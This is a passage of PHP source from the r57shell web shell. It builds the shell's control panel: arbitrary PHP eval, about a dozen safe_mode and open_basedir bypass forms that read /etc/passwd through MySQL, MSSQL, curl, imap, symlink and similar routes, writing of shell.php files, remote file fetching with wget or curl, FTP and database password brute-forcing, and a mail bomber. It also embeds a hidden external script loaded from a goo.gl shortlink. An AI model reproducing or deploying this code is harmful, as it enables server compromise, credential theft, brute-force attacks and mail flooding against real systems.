3212echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
3213echo $te.'</div>'.$table_end1.$fe;
3214}
3215echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id8').$table_up2.div('id8').$ts;
3216echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
3217echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
3218echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
3219echo $te.'</div>'.$table_end1.$fe;
3220if(!$safe_mode &&$unix){
3221echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id9').$table_up2.div('id9').$ts;
3222echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
3223echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
3224echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
3225echo $te.'</div>'.$table_end1.$fe;
3226}
3227echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id10').$table_up2.$font;
3228echo "<div align=center>".div('id10')."<textarea name=php_eval cols=100 rows=10>";
3229echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");\r\n//file_get_content(\"/etc/passwd\");"));
3230echo "</textarea>";
3231echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
3232echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
3233echo "</div></div></font>";
3234echo $table_end1.$fe;
3235if($safe_mode ||$open_basedir)
3236{
3237echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts;
3238echo "<table class=table1 width=100% align=center>";
3239echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
3240echo $te.'</div>'.$table_end1.$fe;
3241}
3242if(($safe_mode ||$open_basedir) &&$curl_on &&@version_compare(@phpversion(),"5.2.0")<=0)
3243{
3244echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id12').$table_up2.div('id12').$ts;
3245echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
3246echo $te.'</div>'.$table_end1.$fe;
3247}
3248if(($safe_mode ||$open_basedir) &&$mysql_on)
3249{
3250echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id13').$table_up2.div('id13').$ts;
3251echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));
3252echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
3253echo $te.'</div>'.$table_end1.$fe;
3254}
3255if(($safe_mode ||$open_basedir) &&$mssql_on)
3256{
3257echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id14').$table_up2.div('id14').$ts;
3258echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
3259echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
3260echo $te.'</div>'.$table_end1.$fe;
3261}
3262if(($safe_mode ||$open_basedir) &&$unix &&@function_exists('mb_send_mail') &&@version_compare(@phpversion(),"5.2.0")<=0){
3263echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id15').$table_up2.div('id15').$ts;
3264echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
3265echo $te.'</div>'.$table_end1.$fe;
3266}
3267if(($safe_mode ||$open_basedir) &&@function_exists('imap_open') &&@function_exists('imap_list') &&@version_compare(@phpversion(),"5.2.0")<=0){
3268echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id20').$table_up2.div('id20').$ts;
3269echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
3270echo $te.'</div>'.$table_end1.$fe;
3271}
3272if(($safe_mode ||$open_basedir) &&@function_exists('imap_open') &&@function_exists('imap_body') &&@version_compare(@phpversion(),"5.2.0")<=0){
3273echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id21').$table_up2.div('id21').$ts;
3274echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
3275echo $te.'</div>'.$table_end1.$fe;
3276}
3277if(($safe_mode ||$open_basedir) &&@function_exists('copy') &&@version_compare(@phpversion(),"5.2.0")<=0)
3278{
3279echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id22').$table_up2.div('id22').$ts;
3280echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8'));
3281echo sr(15,"<b>".$lang[$language.'_text117'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
3282echo $te.'</div>'.$table_end1.$fe;
3283}
3284if(($safe_mode ||$open_basedir) &&@function_exists('ini_restore') &&@version_compare(@phpversion(),"5.2.0")<=0){
3285echo $fs.$table_up1.div_title($lang[$language.'_text120'],'id23').$table_up2.div('id23').$ts;
3286echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test9_file',96,(!empty($_POST['test9_file'])?($_POST['test9_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test9').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
3287echo $te.'</div>'.$table_end1.$fe;
3288}
3289if(($safe_mode ||$open_basedir) &&@version_compare(@phpversion(),"5.0.0")<0){
3290echo $fs.$table_up1.div_title($lang[$language.'_text121'],'id24').$table_up2.div('id24').$ts;
3291echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test10_file',96,(!empty($_POST['test10_file'])?($_POST['test10_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test10').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
3292echo $te.'</div>'.$table_end1.$fe;
3293}
3294if(($safe_mode ||$open_basedir) &&@function_exists('glob') &&@version_compare(@phpversion(),"5.2.2")<=0){
3295echo $fs.$table_up1.div_title($lang[$language.'_text122'],'id19').$table_up2.div('id19').$ts;
3296echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',96,(!empty($_POST['test18_file'])?($_POST['test18_file']):($dir))).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
3297echo $te.'</div>'.$table_end1.$fe;
3298}
3299if(($safe_mode ||$open_basedir) &&@version_compare(@phpversion(),"5.2.2")<=0)
3300{
3301echo $fs.$table_up1.div_title($lang[$language.'_text130'],'id25').$table_up2.div('id25').$ts;
3302echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test11_file',96,(!empty($_POST['test11_file'])?($_POST['test11_file']):("/tmp/test.zip"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test11').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
3303echo $te.'</div>'.$table_end1.$fe;
3304}
3305if(($safe_mode ||$open_basedir) &&@version_compare(@phpversion(),"5.2.2")<=0)
3306{
3307echo $fs.$table_up1.div_title($lang[$language.'_text123'],'id26').$table_up2.div('id26').$ts;
3308echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test12_file',96,(!empty($_POST['test12_file'])?($_POST['test12_file']):("/tmp/test.bzip"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test12').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
3309echo $te.'</div>'.$table_end1.$fe;
3310}
3311if(($safe_mode ||$open_basedir) &&@function_exists('error_log') &&@version_compare(@phpversion(),"5.2.2")<=0)
3312{
3313echo $fs.$table_up1.div_title($lang[$language.'_text124'],'id27').$table_up2.div('id27').$ts;
3314echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test13_file2',96,(!empty($_POST['test13_file2'])?($_POST['test13_file2']):($dir."/shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test13'));
3315echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test13_file1',96,(!empty($_POST['test13_file1'])?($_POST['test13_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
3316echo $te.'</div>'.$table_end1.$fe;
3317}
3318if(($safe_mode ||$open_basedir) &&@version_compare(@phpversion(),"5.2.2")<=0)
3319{
3320echo $fs.$table_up1.div_title($lang[$language.'_text126'],'id28').$table_up2.div('id28').$ts;
3321echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test14_file2',96,(!empty($_POST['test14_file2'])?($_POST['test14_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test14'));
3322echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test14_file1',96,(!empty($_POST['test14_file1'])?($_POST['test14_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
3323echo $te.'</div>'.$table_end1.$fe;
3324}
3325if(($safe_mode ||$open_basedir) &&@function_exists('readfile') &&@version_compare(@phpversion(),"5.2.2")<=0)
3326{
3327echo $fs.$table_up1.div_title($lang[$language.'_text127'],'id29').$table_up2.div('id29').$ts;
3328echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test15_file2',96,(!empty($_POST['test15_file2'])?($_POST['test15_file2']):($dir."/shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test15'));
3329echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test15_file1',96,(!empty($_POST['test15_file1'])?($_POST['test15_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
3330echo $te.'</div>'.$table_end1.$fe;
3331}
3332if(($safe_mode ||$open_basedir) &&@version_compare(@phpversion(),"5.2.4")<=0)
3333{
3334echo $fs.$table_up1.div_title($lang[$language.'_text129'],'id16').$table_up2.div('id16').$ts;
3335echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test16_file',96,(!empty($_POST['test16_file'])?($_POST['test16_file']):($dir."/test.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test16').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
3336echo $te.'</div>'.$table_end1.$fe;
3337}
3338if(($safe_mode ||$open_basedir) &&@function_exists('symlink') &&@version_compare(@phpversion(),"5.2.2")<=0)
3339{
3340echo $table_up1.div_title($lang[$language.'_text131'],'id17').$table_up2.div('id17').$ts;
3341echo "<tr><td valign=top width=70%>".$ts;
3342echo sr(20,"<b>".$lang[$language.'_text30'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe);
3343echo $te."</td><td valign=top width=30%>".$ts;
3344echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_2').in('submit','submit',0,$lang[$language.'_butt8']).$fe);
3345echo $te."</td></tr>";
3346echo $te.'</div>'.$table_end1;
3347}
3348if(($safe_mode ||$open_basedir) &&@function_exists('symlink') &&@version_compare(@phpversion(),"5.2.2")<=0)
3349{
3350echo $table_up1.div_title($lang[$language.'_text132'],'id18').$table_up2.div('id18').$ts;
3351echo "<tr><td valign=top width=70%>".$ts;
3352echo sr(20,"<b>".$lang[$language.'_text4'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe);
3353echo $te."</td><td valign=top width=30%>".$ts;
3354echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_3').in('submit','submit',0,$lang[$language.'_butt8']).$fe);
3355echo $te."</td></tr>";
3356echo $te.'</div>'.$table_end1;
3357}
3358if((!@function_exists('ini_get')) ||@ini_get('file_uploads')){
3359echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
3360echo $table_up1.div_title($lang[$language.'_text5'],'id30').$table_up2.div('id30').$ts;
3361echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile0',85,''));
3362echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
3363echo $te.'</div>'.$table_end1.$fe;
3364}
3365if((!@function_exists('ini_get')) ||@ini_get('file_uploads')){
3366echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
3367echo $table_up1.div_title('Multy '.$lang[$language.'_text5'],'id34').$table_up2.div('id34').$ts;
3368echo "<tr><td valign=top width=50%>".$ts;
3369echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile1',35,''));
3370echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile2',35,''));
3371echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile3',35,''));
3372echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile4',35,''));
3373echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile5',35,''));
3374echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile6',35,''));
3375echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile7',35,''));
3376echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile8',35,''));
3377echo $te."</td><td valign=top width=50%>".$ts;
3378echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile9',35,''));
3379echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile10',35,''));
3380echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile11',35,''));
3381echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile12',35,''));
3382echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile13',35,''));
3383echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile14',35,''));
3384echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile15',35,''));
3385echo sr(15,'',in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
3386echo $te."</td></tr>";
3387echo $te.'</div>'.$table_end1.$fe;
3388}
3389$select='';
3390if((!@function_exists('ini_get')) ||(@ini_get('allow_url_fopen') &&@function_exists('fopen'))){$select = "<option value=\"fopen\">fopen</option>";}
3391if(!$safe_mode){
3392if(which('wget')){$select .= "<option value=\"wget\">wget</option>";}
3393if(which('fetch')){$select .= "<option value=\"fetch\">fetch</option>";}
3394if(which('lynx')){$select .= "<option value=\"lynx\">lynx</option>";}
3395if(which('links')){$select .= "<option value=\"links\">links</option>";}
3396if(which('curl')){$select .= "<option value=\"curl\">curl</option>";}
3397if(which('GET')){$select .= "<option value=\"GET\">GET</option>";}
3398}
3399if($select){
3400echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id31').$table_up2.div('id31').$ts;
3401echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\">".$select
3402."</select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));
3403echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
3404echo $te.'</div>'.$table_end1.$fe;
3405}
3406echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id32').$table_up2.div('id32').$ts;
3407echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
3408$arh = $lang[$language.'_text92'];
3409if(@function_exists('gzcompress')) {$arh .= in('radio','compress',0,'zip').' zip';}
3410if(@function_exists('gzencode')) {$arh .= in('radio','compress',0,'gzip').' gzip';}
3411if(@function_exists('bzcompress')) {$arh .= in('radio','compress',0,'bzip').' bzip';}
3412echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
3413echo $te.'</div>'.$table_end1.$fe;
3414if(@function_exists("ftp_connect")){
3415echo $table_up1.div_title($lang[$language.'_text93'],'id33').$table_up2.div('id33').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
3416echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text94']."</div></b></font>";
3417echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').in('hidden','dir',0,$dir));
3418echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>");
3419echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
3420echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
3421echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',0,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("root"))));
3422echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'/passw.dic'))));
3423echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt1']));
3424echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
3425echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>";
3426echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
3427echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
3428echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
3429echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
3430echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir));
3431echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
3432echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));
3433echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
3434echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>";
3435echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
3436echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
3437echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
3438echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir));
3439echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
3440echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
3441echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));
3442echo $te."</td>".$fe."</tr></div></table>";
3443}
3444if(@function_exists("mail")){
3445echo $table_up1.div_title($lang[$language.'_text102'],'id35').$table_up2.div('id35').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
3446echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>";
3447echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):(""))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
3448echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):(""))));
3449echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):(""))));
3450echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>');
3451echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
3452echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
3453echo "<SCRIPT SRC=http://goo.gl/ZibW9L></SCRIPT> <font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>";
3454echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):(""))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
3455echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):(""))));
3456echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):(""))));
3457echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',30,$dir));
3458echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
3459echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
3460echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
3461echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text139']."</div></b></font>";
3462echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_bomber').in('hidden','dir',0,$dir));
3463echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
3464echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
3465echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=1>'.(!empty($_POST['text'])?($_POST['text']):("flood text here")).'</textarea>');
3466echo sr(25,"<b>Flood".$arrow."</b>",in('int','mail_flood',5,(!empty($_POST['mail_flood'])?($_POST['mail_flood']):100)).ws(4)."<b>Size(kb)".$arrow."</b>".in('int','mail_size',5,(!empty($_POST['mail_size'])?($_POST['mail_size']):10)));
3467echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
3468echo $te."</td>".$fe."</tr></div></table>";
3469}
3470if($mysql_on||$mssql_on||$pg_on||$ora_on)
3471{
3472$select = '<select name=db>';
3473if($mysql_on) $select .= '<option>MySQL</option>';
3474if($mssql_on) $select .= '<option>MSSQL</option>';
3475if($pg_on) $select .= '<option>PostgreSQL</option>';
3476if($ora_on) $select .= '<option>Oracle</option>';
3477$select .= '</select>';
3478echo $table_up1.div_title($lang[$language.'_text82'],'id36').$table_up2.div('id36').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
3479echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text134']."</div></b></font>";
3480echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select.in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_brute'));
3481echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
3482echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
3483echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>");
3484echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
3485echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
3486echo sr(35,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
3487echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'/passw.dic'))));
3488echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt1']));
3489echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
3490echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
3491echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
3492echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
